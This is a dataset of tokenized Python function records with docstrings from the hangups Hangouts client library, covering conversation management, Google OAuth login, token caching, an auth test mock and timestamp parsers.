{"signature": "async def leave(self):", "body": "is_group_conversation = (self._conversation.type ==<EOL>hangouts_pb2.CONVERSATION_TYPE_GROUP)<EOL>try:<EOL><INDENT>if is_group_conversation:<EOL><INDENT>await self._client.remove_user(<EOL>hangouts_pb2.RemoveUserRequest(<EOL>request_header=self._client.get_request_header(),<EOL>event_request_header=self._get_event_request_header(),<EOL>)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>await self._client.delete_conversation(<EOL>hangouts_pb2.DeleteConversationRequest(<EOL>request_header=self._client.get_request_header(),<EOL>conversation_id=hangouts_pb2.ConversationId(<EOL>id=self.id_<EOL>),<EOL>delete_upper_bound_timestamp=parsers.to_timestamp(<EOL>datetime.datetime.now(tz=datetime.timezone.utc)<EOL>)<EOL>)<EOL>)<EOL><DEDENT><DEDENT>except exceptions.NetworkError as e:<EOL><INDENT>logger.warning('<STR_LIT>'.format(e))<EOL>raise<EOL><DEDENT>", "docstring": "Leave this conversation.\n\n        Raises:\n            .NetworkError: If conversation cannot be left.", "id": "f10020:c0:m20"}
{"signature": "async def rename(self, name):", "body": "await self._client.rename_conversation(<EOL>hangouts_pb2.RenameConversationRequest(<EOL>request_header=self._client.get_request_header(),<EOL>new_name=name,<EOL>event_request_header=self._get_event_request_header(),<EOL>)<EOL>)<EOL>", "docstring": "Rename this conversation.\n\n        Hangouts only officially supports renaming group conversations, so\n        custom names for one-to-one conversations may or may not appear in all\n        first party clients.\n\n        Args:\n            name (str): New name.\n\n        Raises:\n            .NetworkError: If conversation cannot be renamed.", "id": "f10020:c0:m21"}
{"signature": "async def set_notification_level(self, level):", "body": "await self._client.set_conversation_notification_level(<EOL>hangouts_pb2.SetConversationNotificationLevelRequest(<EOL>request_header=self._client.get_request_header(),<EOL>conversation_id=hangouts_pb2.ConversationId(id=self.id_),<EOL>level=level,<EOL>)<EOL>)<EOL>", "docstring": "Set the notification level of this conversation.\n\n        Args:\n            level: ``NOTIFICATION_LEVEL_QUIET`` to disable notifications, or\n                ``NOTIFICATION_LEVEL_RING`` to enable them.\n\n        Raises:\n            .NetworkError: If the request fails.", "id": "f10020:c0:m22"}
{"signature": "async def set_typing(self, typing=hangouts_pb2.TYPING_TYPE_STARTED):", "body": "<EOL>try:<EOL><INDENT>await self._client.set_typing(<EOL>hangouts_pb2.SetTypingRequest(<EOL>request_header=self._client.get_request_header(),<EOL>conversation_id=hangouts_pb2.ConversationId(id=self.id_),<EOL>type=typing,<EOL>)<EOL>)<EOL><DEDENT>except exceptions.NetworkError as e:<EOL><INDENT>logger.warning('<STR_LIT>'.format(e))<EOL>raise<EOL><DEDENT>", "docstring": "Set your typing status in this conversation.\n\n        Args:\n            typing: (optional) ``TYPING_TYPE_STARTED``, ``TYPING_TYPE_PAUSED``,\n                or ``TYPING_TYPE_STOPPED`` to start, pause, or stop typing,\n                respectively. Defaults to ``TYPING_TYPE_STARTED``.\n\n        Raises:\n            .NetworkError: If typing status cannot be set.", "id": "f10020:c0:m23"}
{"signature": "async def update_read_timestamp(self, read_timestamp=None):", "body": "if read_timestamp is None:<EOL><INDENT>read_timestamp = (self.events[-<NUM_LIT:1>].timestamp if self.events else<EOL>datetime.datetime.now(datetime.timezone.utc))<EOL><DEDENT>if read_timestamp > self.latest_read_timestamp:<EOL><INDENT>logger.info(<EOL>'<STR_LIT>'<EOL>.format(self.id_, self.latest_read_timestamp, read_timestamp)<EOL>)<EOL>state = self._conversation.self_conversation_state<EOL>state.self_read_state.latest_read_timestamp = (<EOL>parsers.to_timestamp(read_timestamp)<EOL>)<EOL>try:<EOL><INDENT>await self._client.update_watermark(<EOL>hangouts_pb2.UpdateWatermarkRequest(<EOL>request_header=self._client.get_request_header(),<EOL>conversation_id=hangouts_pb2.ConversationId(<EOL>id=self.id_<EOL>),<EOL>last_read_timestamp=parsers.to_timestamp(<EOL>read_timestamp<EOL>),<EOL>)<EOL>)<EOL><DEDENT>except exceptions.NetworkError as e:<EOL><INDENT>logger.warning('<STR_LIT>'.format(e))<EOL>raise<EOL><DEDENT><DEDENT>", "docstring": "Update the timestamp of the latest event which has been read.\n\n        This method will avoid making an API request if it will have no effect.\n\n        Args:\n            read_timestamp (datetime.datetime): (optional) Timestamp to set.\n                Defaults to the timestamp of the newest event.\n\n        Raises:\n            .NetworkError: If the timestamp cannot be updated.", "id": "f10020:c0:m24"}
{"signature": "async def get_events(self, event_id=None, max_events=<NUM_LIT:50>):", "body": "if event_id is None:<EOL><INDENT>conv_events = self._events[-<NUM_LIT:1> * max_events:]<EOL><DEDENT>else:<EOL><INDENT>conv_event = self.get_event(event_id)<EOL>if self._events[<NUM_LIT:0>].id_ != event_id:<EOL><INDENT>conv_events = self._events[self._events.index(conv_event) + <NUM_LIT:1>:]<EOL><DEDENT>else:<EOL><INDENT>logger.info('<STR_LIT>'<EOL>.format(self.id_, conv_event.timestamp))<EOL>res = await self._client.get_conversation(<EOL>hangouts_pb2.GetConversationRequest(<EOL>request_header=self._client.get_request_header(),<EOL>conversation_spec=hangouts_pb2.ConversationSpec(<EOL>conversation_id=hangouts_pb2.ConversationId(<EOL>id=self.id_<EOL>)<EOL>),<EOL>include_event=True,<EOL>max_events_per_conversation=max_events,<EOL>event_continuation_token=self._event_cont_token<EOL>)<EOL>)<EOL>if res.conversation_state.HasField('<STR_LIT>'):<EOL><INDENT>self.update_conversation(<EOL>res.conversation_state.conversation<EOL>)<EOL><DEDENT>self._event_cont_token = (<EOL>res.conversation_state.event_continuation_token<EOL>)<EOL>conv_events = [self._wrap_event(event) for event<EOL>in res.conversation_state.event]<EOL>logger.info('<STR_LIT>'<EOL>.format(len(conv_events), self.id_))<EOL>for conv_event in reversed(conv_events):<EOL><INDENT>if conv_event.id_ not in self._events_dict:<EOL><INDENT>self._events.insert(<NUM_LIT:0>, conv_event)<EOL>self._events_dict[conv_event.id_] = conv_event<EOL><DEDENT>else:<EOL><INDENT>logger.info(<EOL>'<STR_LIT>',<EOL>self.id_, conv_event.id_<EOL>)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return conv_events<EOL>", "docstring": "Get events from this conversation.\n\n        Makes a request to load historical events if necessary.\n\n        Args:\n            event_id (str): (optional) If provided, return events preceding\n                this event, otherwise return the newest events.\n            max_events (int): Maximum number of events to return. Defaults to\n                50.\n\n        Returns:\n            List of :class:`.ConversationEvent` instances, ordered\n            newest-first.\n\n        Raises:\n            KeyError: If ``event_id`` does not correspond to a known event.\n            .NetworkError: If the events could not be requested.", "id": "f10020:c0:m25"}
{"signature": "def next_event(self, event_id, prev=False):", "body": "i = self.events.index(self._events_dict[event_id])<EOL>if prev and i > <NUM_LIT:0>:<EOL><INDENT>return self.events[i - <NUM_LIT:1>]<EOL><DEDENT>elif not prev and i + <NUM_LIT:1> < len(self.events):<EOL><INDENT>return self.events[i + <NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Get the event following another event in this conversation.\n\n        Args:\n            event_id (str): ID of the event.\n            prev (bool): If ``True``, return the previous event rather than the\n                next event. Defaults to ``False``.\n\n        Raises:\n            KeyError: If no such :class:`.ConversationEvent` is known.\n\n        Returns:\n            :class:`.ConversationEvent` or ``None`` if there is no following\n            event.", "id": "f10020:c0:m26"}
{"signature": "def get_event(self, event_id):", "body": "return self._events_dict[event_id]<EOL>", "docstring": "Get an event in this conversation by its ID.\n\n        Args:\n            event_id (str): ID of the event.\n\n        Raises:\n            KeyError: If no such :class:`.ConversationEvent` is known.\n\n        Returns:\n            :class:`.ConversationEvent` with the given ID.", "id": "f10020:c0:m27"}
{"signature": "def get_all(self, include_archived=False):", "body": "return [conv for conv in self._conv_dict.values()<EOL>if not conv.is_archived or include_archived]<EOL>", "docstring": "Get all the conversations.\n\n        Args:\n            include_archived (bool): (optional) Whether to include archived\n                conversations. Defaults to ``False``.\n\n        Returns:\n            List of all :class:`.Conversation` objects.", "id": "f10020:c1:m1"}
{"signature": "def get(self, conv_id):", "body": "return self._conv_dict[conv_id]<EOL>", "docstring": "Get a conversation by its ID.\n\n        Args:\n            conv_id (str): ID of conversation to return.\n\n        Raises:\n            KeyError: If the conversation ID is not found.\n\n        Returns:\n            :class:`.Conversation` with matching ID.", "id": "f10020:c1:m2"}
{"signature": "async def leave_conversation(self, conv_id):", "body": "logger.info('<STR_LIT>'.format(conv_id))<EOL>await self._conv_dict[conv_id].leave()<EOL>del self._conv_dict[conv_id]<EOL>", "docstring": "Leave a conversation.\n\n        Args:\n            conv_id (str): ID of conversation to leave.", "id": "f10020:c1:m3"}
{"signature": "def _add_conversation(self, conversation, events=[],<EOL>event_cont_token=None):", "body": "<EOL>conv_id = conversation.conversation_id.id<EOL>logger.debug('<STR_LIT>'.format(conv_id))<EOL>conv = Conversation(self._client, self._user_list, conversation,<EOL>events, event_cont_token)<EOL>self._conv_dict[conv_id] = conv<EOL>return conv<EOL>", "docstring": "Add new conversation from hangouts_pb2.Conversation", "id": "f10020:c1:m4"}
{"signature": "async def _on_state_update(self, state_update):", "body": "<EOL>notification_type = state_update.WhichOneof('<STR_LIT>')<EOL>if state_update.HasField('<STR_LIT>'):<EOL><INDENT>try:<EOL><INDENT>await self._handle_conversation_delta(<EOL>state_update.conversation<EOL>)<EOL><DEDENT>except exceptions.NetworkError:<EOL><INDENT>logger.warning(<EOL>'<STR_LIT>',<EOL>notification_type.replace('<STR_LIT:_>', '<STR_LIT:U+0020>'),<EOL>state_update.conversation.conversation_id.id<EOL>)<EOL>return<EOL><DEDENT><DEDENT>if notification_type == '<STR_LIT>':<EOL><INDENT>await self._handle_set_typing_notification(<EOL>state_update.typing_notification<EOL>)<EOL><DEDENT>elif notification_type == '<STR_LIT>':<EOL><INDENT>await self._handle_watermark_notification(<EOL>state_update.watermark_notification<EOL>)<EOL><DEDENT>elif notification_type == '<STR_LIT>':<EOL><INDENT>await self._on_event(<EOL>state_update.event_notification.event<EOL>)<EOL><DEDENT>", "docstring": "Receive a StateUpdate and fan out to Conversations.\n\n        Args:\n            state_update: hangouts_pb2.StateUpdate instance", "id": "f10020:c1:m5"}
{"signature": "async def _get_or_fetch_conversation(self, conv_id):", "body": "conv = self._conv_dict.get(conv_id, None)<EOL>if conv is None:<EOL><INDENT>logger.info('<STR_LIT>', conv_id)<EOL>res = await self._client.get_conversation(<EOL>hangouts_pb2.GetConversationRequest(<EOL>request_header=self._client.get_request_header(),<EOL>conversation_spec=hangouts_pb2.ConversationSpec(<EOL>conversation_id=hangouts_pb2.ConversationId(<EOL>id=conv_id<EOL>)<EOL>), include_event=False<EOL>)<EOL>)<EOL>conv_state = res.conversation_state<EOL>event_cont_token = None<EOL>if conv_state.HasField('<STR_LIT>'):<EOL><INDENT>event_cont_token = conv_state.event_continuation_token<EOL><DEDENT>return self._add_conversation(conv_state.conversation,<EOL>event_cont_token=event_cont_token)<EOL><DEDENT>else:<EOL><INDENT>return conv<EOL><DEDENT>", "docstring": "Get a cached conversation or fetch a missing conversation.\n\n        Args:\n            conv_id: string, conversation identifier\n\n        Raises:\n            NetworkError: If the request to fetch the conversation fails.\n\n        Returns:\n            :class:`.Conversation` with matching ID.", "id": "f10020:c1:m6"}
{"signature": "async def _on_event(self, event_):", "body": "conv_id = event_.conversation_id.id<EOL>try:<EOL><INDENT>conv = await self._get_or_fetch_conversation(conv_id)<EOL><DEDENT>except exceptions.NetworkError:<EOL><INDENT>logger.warning(<EOL>'<STR_LIT>',<EOL>conv_id<EOL>)<EOL><DEDENT>else:<EOL><INDENT>self._sync_timestamp = parsers.from_timestamp(event_.timestamp)<EOL>conv_event = conv.add_event(event_)<EOL>if conv_event is not None:<EOL><INDENT>await self.on_event.fire(conv_event)<EOL>await conv.on_event.fire(conv_event)<EOL><DEDENT><DEDENT>", "docstring": "Receive a hangouts_pb2.Event and fan out to Conversations.\n\n        Args:\n            event_: hangouts_pb2.Event instance", "id": "f10020:c1:m7"}
{"signature": "async def _handle_conversation_delta(self, conversation):", "body": "conv_id = conversation.conversation_id.id<EOL>conv = self._conv_dict.get(conv_id, None)<EOL>if conv is None:<EOL><INDENT>await self._get_or_fetch_conversation(conv_id)<EOL><DEDENT>else:<EOL><INDENT>conv.update_conversation(conversation)<EOL><DEDENT>", "docstring": "Receive Conversation delta and create or update the conversation.\n\n        Args:\n            conversation: hangouts_pb2.Conversation instance\n\n        Raises:\n            NetworkError: A request to fetch the complete conversation failed.", "id": "f10020:c1:m8"}
{"signature": "async def _handle_set_typing_notification(self, set_typing_notification):", "body": "conv_id = set_typing_notification.conversation_id.id<EOL>res = parsers.parse_typing_status_message(set_typing_notification)<EOL>await self.on_typing.fire(res)<EOL>try:<EOL><INDENT>conv = await self._get_or_fetch_conversation(conv_id)<EOL><DEDENT>except exceptions.NetworkError:<EOL><INDENT>logger.warning(<EOL>'<STR_LIT>',<EOL>conv_id<EOL>)<EOL><DEDENT>else:<EOL><INDENT>await conv.on_typing.fire(res)<EOL><DEDENT>", "docstring": "Receive SetTypingNotification and update the conversation.\n\n        Args:\n            set_typing_notification: hangouts_pb2.SetTypingNotification\n                instance", "id": "f10020:c1:m9"}
{"signature": "async def _handle_watermark_notification(self, watermark_notification):", "body": "conv_id = watermark_notification.conversation_id.id<EOL>res = parsers.parse_watermark_notification(watermark_notification)<EOL>await self.on_watermark_notification.fire(res)<EOL>try:<EOL><INDENT>conv = await self._get_or_fetch_conversation(conv_id)<EOL><DEDENT>except exceptions.NetworkError:<EOL><INDENT>logger.warning(<EOL>'<STR_LIT>',<EOL>conv_id<EOL>)<EOL><DEDENT>else:<EOL><INDENT>await conv.on_watermark_notification.fire(res)<EOL><DEDENT>", "docstring": "Receive WatermarkNotification and update the conversation.\n\n        Args:\n            watermark_notification: hangouts_pb2.WatermarkNotification instance", "id": "f10020:c1:m10"}
{"signature": "async def _sync(self):", "body": "logger.info('<STR_LIT>'.format(self._sync_timestamp))<EOL>try:<EOL><INDENT>res = await self._client.sync_all_new_events(<EOL>hangouts_pb2.SyncAllNewEventsRequest(<EOL>request_header=self._client.get_request_header(),<EOL>last_sync_timestamp=parsers.to_timestamp(<EOL>self._sync_timestamp<EOL>),<EOL>max_response_size_bytes=<NUM_LIT>,  <EOL>)<EOL>)<EOL><DEDENT>except exceptions.NetworkError as e:<EOL><INDENT>logger.warning('<STR_LIT>'<EOL>.format(e))<EOL><DEDENT>else:<EOL><INDENT>for conv_state in res.conversation_state:<EOL><INDENT>conv_id = conv_state.conversation_id.id<EOL>conv = self._conv_dict.get(conv_id, None)<EOL>if conv is not None:<EOL><INDENT>conv.update_conversation(conv_state.conversation)<EOL>for event_ in conv_state.event:<EOL><INDENT>timestamp = parsers.from_timestamp(event_.timestamp)<EOL>if timestamp > self._sync_timestamp:<EOL><INDENT>await self._on_event(event_)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>self._add_conversation(<EOL>conv_state.conversation,<EOL>conv_state.event,<EOL>conv_state.event_continuation_token<EOL>)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Sync conversation state and events that could have been missed.", "id": "f10020:c1:m11"}
{"signature": "def get_auth(credentials_prompt, refresh_token_cache, manual_login=False):", "body": "with requests.Session() as session:<EOL><INDENT>session.headers = {'<STR_LIT>': USER_AGENT}<EOL>try:<EOL><INDENT>logger.info('<STR_LIT>')<EOL>refresh_token = refresh_token_cache.get()<EOL>if refresh_token is None:<EOL><INDENT>raise GoogleAuthError(\"<STR_LIT>\")<EOL><DEDENT>access_token = _auth_with_refresh_token(session, refresh_token)<EOL><DEDENT>except GoogleAuthError as e:<EOL><INDENT>logger.info('<STR_LIT>', e)<EOL>logger.info('<STR_LIT>')<EOL>if manual_login:<EOL><INDENT>authorization_code = (<EOL>credentials_prompt.get_authorization_code()<EOL>)<EOL><DEDENT>else:<EOL><INDENT>authorization_code = _get_authorization_code(<EOL>session, credentials_prompt<EOL>)<EOL><DEDENT>access_token, refresh_token = _auth_with_code(<EOL>session, authorization_code<EOL>)<EOL>refresh_token_cache.set(refresh_token)<EOL><DEDENT>logger.info('<STR_LIT>')<EOL>return _get_session_cookies(session, access_token)<EOL><DEDENT>", "docstring": "Authenticate with Google.\n\n    Args:\n        refresh_token_cache (RefreshTokenCache): Cache to use so subsequent\n            logins may not require credentials.\n        credentials_prompt (CredentialsPrompt): Prompt to use if credentials\n            are required to log in.\n        manual_login (bool): If true, prompt user to log in through a browser\n            and enter authorization code manually. Defaults to false.\n\n    Returns:\n        dict: Google session cookies.\n\n    Raises:\n        GoogleAuthError: If authentication with Google fails.", "id": "f10021:m0"}
{"signature": "def get_auth_stdin(refresh_token_filename, manual_login=False):", "body": "refresh_token_cache = RefreshTokenCache(refresh_token_filename)<EOL>return get_auth(<EOL>CredentialsPrompt(), refresh_token_cache, manual_login=manual_login<EOL>)<EOL>", "docstring": "Simple wrapper for :func:`get_auth` that prompts the user using stdin.\n\n    Args:\n        refresh_token_filename (str): Path to file where refresh token will be\n            cached.\n        manual_login (bool): If true, prompt user to log in through a browser\n            and enter authorization code manually. Defaults to false.\n\n    Raises:\n        GoogleAuthError: If authentication with Google fails.", "id": "f10021:m1"}
{"signature": "def _get_authorization_code(session, credentials_prompt):", "body": "browser = Browser(session, OAUTH2_LOGIN_URL)<EOL>email = credentials_prompt.get_email()<EOL>browser.submit_form(FORM_SELECTOR, {EMAIL_SELECTOR: email})<EOL>password = credentials_prompt.get_password()<EOL>browser.submit_form(FORM_SELECTOR, {PASSWORD_SELECTOR: password})<EOL>if browser.has_selector(TOTP_CHALLENGE_SELECTOR):<EOL><INDENT>browser.submit_form(TOTP_CHALLENGE_SELECTOR, {})<EOL><DEDENT>elif browser.has_selector(PHONE_CHALLENGE_SELECTOR):<EOL><INDENT>browser.submit_form(PHONE_CHALLENGE_SELECTOR, {})<EOL><DEDENT>if browser.has_selector(VERIFICATION_FORM_SELECTOR):<EOL><INDENT>if browser.has_selector(TOTP_CODE_SELECTOR):<EOL><INDENT>input_selector = TOTP_CODE_SELECTOR<EOL><DEDENT>elif browser.has_selector(PHONE_CODE_SELECTOR):<EOL><INDENT>input_selector = PHONE_CODE_SELECTOR<EOL><DEDENT>else:<EOL><INDENT>raise GoogleAuthError('<STR_LIT>')<EOL><DEDENT>verfification_code = credentials_prompt.get_verification_code()<EOL>browser.submit_form(<EOL>VERIFICATION_FORM_SELECTOR, {input_selector: verfification_code}<EOL>)<EOL><DEDENT>try:<EOL><INDENT>return browser.get_cookie('<STR_LIT>')<EOL><DEDENT>except KeyError:<EOL><INDENT>raise GoogleAuthError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Get authorization code using Google account credentials.\n\n    Because hangups can't use a real embedded browser, it has to use the\n    Browser class to enter the user's credentials and retrieve the\n    authorization code, which is placed in a cookie. This is the most fragile\n    part of the authentication process, because a change to a login form or an\n    unexpected prompt could break it.\n\n    Raises GoogleAuthError authentication fails.\n\n    Returns authorization code string.", "id": "f10021:m2"}
{"signature": "def _auth_with_refresh_token(session, refresh_token):", "body": "<EOL>token_request_data = {<EOL>'<STR_LIT>': OAUTH2_CLIENT_ID,<EOL>'<STR_LIT>': OAUTH2_CLIENT_SECRET,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': refresh_token,<EOL>}<EOL>res = _make_token_request(session, token_request_data)<EOL>return res['<STR_LIT>']<EOL>", "docstring": "Authenticate using OAuth refresh token.\n\n    Raises GoogleAuthError if authentication fails.\n\n    Returns access token string.", "id": "f10021:m3"}
{"signature": "def _auth_with_code(session, authorization_code):", "body": "<EOL>token_request_data = {<EOL>'<STR_LIT>': OAUTH2_CLIENT_ID,<EOL>'<STR_LIT>': OAUTH2_CLIENT_SECRET,<EOL>'<STR_LIT:code>': authorization_code,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}<EOL>res = _make_token_request(session, token_request_data)<EOL>return res['<STR_LIT>'], res['<STR_LIT>']<EOL>", "docstring": "Authenticate using OAuth authorization code.\n\n    Raises GoogleAuthError if authentication fails.\n\n    Returns access token string and refresh token string.", "id": "f10021:m4"}
{"signature": "def _make_token_request(session, token_request_data):", "body": "try:<EOL><INDENT>r = session.post(OAUTH2_TOKEN_REQUEST_URL, data=token_request_data)<EOL>r.raise_for_status()<EOL><DEDENT>except requests.RequestException as e:<EOL><INDENT>raise GoogleAuthError('<STR_LIT>'.format(e))<EOL><DEDENT>else:<EOL><INDENT>res = r.json()<EOL>if '<STR_LIT:error>' in res:<EOL><INDENT>raise GoogleAuthError(<EOL>'<STR_LIT>'.format(res['<STR_LIT:error>'])<EOL>)<EOL><DEDENT>return res<EOL><DEDENT>", "docstring": "Make OAuth token request.\n\n    Raises GoogleAuthError if authentication fails.\n\n    Returns dict response.", "id": "f10021:m5"}
{"signature": "def _get_session_cookies(session, access_token):", "body": "headers = {'<STR_LIT>': '<STR_LIT>'.format(access_token)}<EOL>try:<EOL><INDENT>r = session.get(('<STR_LIT>'<EOL>'<STR_LIT>'), headers=headers)<EOL>r.raise_for_status()<EOL><DEDENT>except requests.RequestException as e:<EOL><INDENT>raise GoogleAuthError('<STR_LIT>'.format(e))<EOL><DEDENT>uberauth = r.text<EOL>try:<EOL><INDENT>r = session.get(('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>.format(uberauth), headers=headers)<EOL>r.raise_for_status()<EOL><DEDENT>except requests.RequestException as e:<EOL><INDENT>raise GoogleAuthError('<STR_LIT>'.format(e))<EOL><DEDENT>cookies = session.cookies.get_dict(domain='<STR_LIT>')<EOL>if cookies == {}:<EOL><INDENT>raise GoogleAuthError('<STR_LIT>')<EOL><DEDENT>return cookies<EOL>", "docstring": "Use the access token to get session cookies.\n\n    Raises GoogleAuthError if session cookies could not be loaded.\n\n    Returns dict of cookies.", "id": "f10021:m6"}
{"signature": "@staticmethod<EOL><INDENT>def get_email():<DEDENT>", "body": "print('<STR_LIT>')<EOL>return input('<STR_LIT>')<EOL>", "docstring": "Prompt for email.\n\n        Returns:\n            str: Google account email address.", "id": "f10021:c1:m0"}
{"signature": "@staticmethod<EOL><INDENT>def get_password():<DEDENT>", "body": "return getpass.getpass()<EOL>", "docstring": "Prompt for password.\n\n        Returns:\n            str: Google account password.", "id": "f10021:c1:m1"}
{"signature": "@staticmethod<EOL><INDENT>def get_verification_code():<DEDENT>", "body": "return input('<STR_LIT>')<EOL>", "docstring": "Prompt for verification code.\n\n        Returns:\n            str: Google account verification code.", "id": "f10021:c1:m2"}
{"signature": "@staticmethod<EOL><INDENT>def get_authorization_code():<DEDENT>", "body": "print(MANUAL_LOGIN_INSTRUCTIONS)<EOL>return input('<STR_LIT>')<EOL>", "docstring": "Prompt for authorization code.\n\n        Returns:\n            str: Google account authorization code.", "id": "f10021:c1:m3"}
{"signature": "def get(self):", "body": "logger.info(<EOL>'<STR_LIT>', repr(self._filename)<EOL>)<EOL>try:<EOL><INDENT>with open(self._filename) as f:<EOL><INDENT>return f.read()<EOL><DEDENT><DEDENT>except IOError as e:<EOL><INDENT>logger.info('<STR_LIT>', e)<EOL><DEDENT>", "docstring": "Get cached refresh token.\n\n        Returns:\n            Cached refresh token, or ``None`` on failure.", "id": "f10021:c2:m1"}
{"signature": "def set(self, refresh_token):", "body": "logger.info('<STR_LIT>', repr(self._filename))<EOL>try:<EOL><INDENT>with open(self._filename, '<STR_LIT:w>') as f:<EOL><INDENT>f.write(refresh_token)<EOL><DEDENT><DEDENT>except IOError as e:<EOL><INDENT>logger.warning('<STR_LIT>', e)<EOL><DEDENT>", "docstring": "Cache a refresh token, ignoring any failure.\n\n        Args:\n            refresh_token (str): Refresh token to cache.", "id": "f10021:c2:m2"}
{"signature": "def has_selector(self, selector):", "body": "return len(self._page.soup.select(selector)) > <NUM_LIT:0><EOL>", "docstring": "Return True if selector matches an element on the current page.", "id": "f10021:c3:m1"}
{"signature": "def submit_form(self, form_selector, input_dict):", "body": "logger.info(<EOL>'<STR_LIT>', self._page.url.split('<STR_LIT:?>')[<NUM_LIT:0>]<EOL>)<EOL>logger.info(<EOL>'<STR_LIT>',<EOL>[elem.get('<STR_LIT:id>') for elem in self._page.soup.select('<STR_LIT>')]<EOL>)<EOL>try:<EOL><INDENT>form = self._page.soup.select(form_selector)[<NUM_LIT:0>]<EOL><DEDENT>except IndexError:<EOL><INDENT>raise GoogleAuthError(<EOL>'<STR_LIT>'.format(form_selector)<EOL>)<EOL><DEDENT>logger.info(<EOL>'<STR_LIT>',<EOL>[elem.get('<STR_LIT:id>') for elem in form.select('<STR_LIT:input>')]<EOL>)<EOL>for selector, value in input_dict.items():<EOL><INDENT>try:<EOL><INDENT>form.select(selector)[<NUM_LIT:0>]['<STR_LIT:value>'] = value<EOL><DEDENT>except IndexError:<EOL><INDENT>raise GoogleAuthError(<EOL>'<STR_LIT>'.format(selector)<EOL>)<EOL><DEDENT><DEDENT>try:<EOL><INDENT>self._page = self._browser.submit(form, self._page.url)<EOL>self._page.raise_for_status()<EOL><DEDENT>except requests.RequestException as e:<EOL><INDENT>raise GoogleAuthError('<STR_LIT>'.format(e))<EOL><DEDENT>", "docstring": "Populate and submit a form on the current page.\n\n        Raises GoogleAuthError if form can not be submitted.", "id": "f10021:c3:m2"}
{"signature": "def get_cookie(self, name):", "body": "return self._session.cookies[name]<EOL>", "docstring": "Return cookie value from the browser session.\n\n        Raises KeyError if cookie is not found.", "id": "f10021:c3:m3"}
{"signature": "def mock_google(verification_input_id=None):", "body": "httpretty.HTTPretty.allow_net_connect = False<EOL>httpretty.register_uri(<EOL>httpretty.GET,<EOL>'<STR_LIT>',<EOL>body=get_form(<EOL>auth.FORM_SELECTOR[<NUM_LIT:1>:], '<STR_LIT>', auth.EMAIL_SELECTOR[<NUM_LIT:1>:]<EOL>), content_type='<STR_LIT>'<EOL>)<EOL>next_action = (<EOL>'<STR_LIT>' if verification_input_id is not None else '<STR_LIT>'<EOL>)<EOL>httpretty.register_uri(<EOL>httpretty.GET, '<STR_LIT>',<EOL>body=get_form(<EOL>auth.FORM_SELECTOR[<NUM_LIT:1>:], next_action, auth.PASSWORD_SELECTOR[<NUM_LIT:1>:]<EOL>), content_type='<STR_LIT>'<EOL>)<EOL>httpretty.register_uri(<EOL>httpretty.GET, '<STR_LIT>',<EOL>body=get_form(<EOL>auth.VERIFICATION_FORM_SELECTOR[<NUM_LIT:1>:], '<STR_LIT>',<EOL>verification_input_id<EOL>), content_type='<STR_LIT>'<EOL>)<EOL>httpretty.register_uri(<EOL>httpretty.GET, '<STR_LIT>',<EOL>body='<STR_LIT:success>', content_type='<STR_LIT>', set_cookie='<STR_LIT>'<EOL>)<EOL>httpretty.register_uri(<EOL>httpretty.POST, '<STR_LIT>',<EOL>body=json.dumps(dict(access_token='<STR_LIT>', refresh_token='<STR_LIT>')),<EOL>content_type='<STR_LIT:application/json>'<EOL>)<EOL>httpretty.register_uri(<EOL>httpretty.GET, '<STR_LIT>',<EOL>body='<STR_LIT>', content_type='<STR_LIT>'<EOL>)<EOL>httpretty.register_uri(<EOL>httpretty.GET, '<STR_LIT>',<EOL>body='<STR_LIT>', content_type='<STR_LIT>',<EOL>set_cookie='<STR_LIT>'<EOL>)<EOL>", "docstring": "Set up httpretty to mock authentication requests.\n\n    This simplifies the sequence of redirects and doesn't make any assertions\n    about the requests.", "id": "f10029:m3"}
{"signature": "def from_timestamp(microsecond_timestamp):", "body": "<EOL>return datetime.datetime.fromtimestamp(<EOL>microsecond_timestamp // <NUM_LIT>, datetime.timezone.utc<EOL>).replace(microsecond=(microsecond_timestamp % <NUM_LIT>))<EOL>", "docstring": "Convert a microsecond timestamp to a UTC datetime instance.", "id": "f10032:m0"}
{"signature": "def to_timestamp(datetime_timestamp):", "body": "return int(datetime_timestamp.timestamp() * <NUM_LIT>)<EOL>", "docstring": "Convert UTC datetime to microsecond timestamp used by Hangouts.", "id": "f10032:m1"}
{"signature": "def from_participantid(participant_id):", "body": "return user.UserID(<EOL>chat_id=participant_id.chat_id,<EOL>gaia_id=participant_id.gaia_id<EOL>)<EOL>", "docstring": "Convert hangouts_pb2.ParticipantId to UserID.", "id": "f10032:m2"}
{"signature": "def to_participantid(user_id):", "body": "return hangouts_pb2.ParticipantId(<EOL>chat_id=user_id.chat_id,<EOL>gaia_id=user_id.gaia_id<EOL>)<EOL>", "docstring": "Convert UserID to hangouts_pb2.ParticipantId.", "id": "f10032:m3"}
{"signature": "def parse_typing_status_message(p):", "body": "return TypingStatusMessage(<EOL>conv_id=p.conversation_id.id,<EOL>user_id=from_participantid(p.sender_id),<EOL>timestamp=from_timestamp(p.timestamp),<EOL>status=p.type,<EOL>)<EOL>", "docstring": "Return TypingStatusMessage from hangouts_pb2.SetTypingNotification.\n\n    The same status may be sent multiple times consecutively, and when a\n    message is sent the typing status will not change to stopped.", "id": "f10032:m4"}
{"signature": "def parse_watermark_notification(p):", "body": "return WatermarkNotification(<EOL>conv_id=p.conversation_id.id,<EOL>user_id=from_participantid(p.sender_id),<EOL>read_timestamp=from_timestamp(<EOL>p.latest_read_timestamp<EOL>),<EOL>)<EOL>", "docstring": "Return WatermarkNotification from hangouts_pb2.WatermarkNotification.", "id": "f10032:m5"}
{"signature": "def upgrade_name(self, user_):", "body": "if user_.name_type > self.name_type:<EOL><INDENT>self.full_name = user_.full_name<EOL>self.first_name = user_.first_name<EOL>self.name_type = user_.name_type<EOL>logger.debug('<STR_LIT>',<EOL>self.name_type.name.lower(), self.full_name, self)<EOL><DEDENT>", "docstring": "Upgrade name type of this user.\n\n        Google Voice participants often first appear with no name at all, and\n        then get upgraded unpredictably to numbers (\"+12125551212\") or names.\n\n        Args:\n            user_ (~hangups.user.User): User to upgrade with.", "id": "f10033:c0:m1"}
